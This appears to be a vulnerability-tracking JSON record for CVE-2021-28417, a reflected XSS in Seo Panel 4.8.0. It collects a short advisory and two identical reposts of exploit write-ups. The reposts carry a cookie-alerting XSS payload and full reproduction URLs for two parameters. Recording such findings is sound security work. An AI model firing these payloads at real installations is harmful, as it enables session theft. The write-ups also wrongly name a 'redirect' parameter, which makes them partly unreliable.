{"vulnerability": "cve-2021-28417", "sightings": [{"uuid": "45a278c8-128c-4289-ab52-5224b88f845c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28417", "type": "seen", "source": "https://t.me/cibsecurity/25088", "content": "\u203c CVE-2021-28417 \u203c\n\nA cross-site scripting (XSS) issue in Seo Panel 4.8.0 allows remote attackers to inject JavaScript via archive.php and the \"search_name\" parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T15:32:05.000000Z"}, {"uuid": "c756b0be-651b-4cb2-9068-ddd03c3ff36b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28417", "type": "seen", "source": "https://t.me/hacking_Attack/11112", "content": "Exploit Collector\nSeo Panel 4.8.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nSeo Panel version 4.8.0 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | 8ad5fb98ff68e1b4ac68594baa474a3b\n\nDownload\n# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS\n# Date: 21-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28417\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Add below line at the end:\nhttp://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com\n3- Hover your mouse near to \"CTR\" field\n-----------\n# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS\n# Date: 22-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28418\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Visit:\nhttp://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n3- Hover your mouse to \"Cancel\" field\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:40.148467Z"}, {"uuid": "ad3b496c-6e19-4bba-a4e9-9d785beaab2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28417", "type": "seen", "source": "https://t.me/hacking_Attack/11112", "content": "Exploit Collector\nSeo Panel 4.8.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nSeo Panel version 4.8.0 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | 8ad5fb98ff68e1b4ac68594baa474a3b\n\nDownload\n# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS\n# Date: 21-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28417\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Add below line at the end:\nhttp://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com\n3- Hover your mouse near to \"CTR\" field\n-----------\n# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS\n# Date: 22-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28418\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Visit:\nhttp://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n3- Hover your mouse to \"Cancel\" field\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:16.839732Z"}]}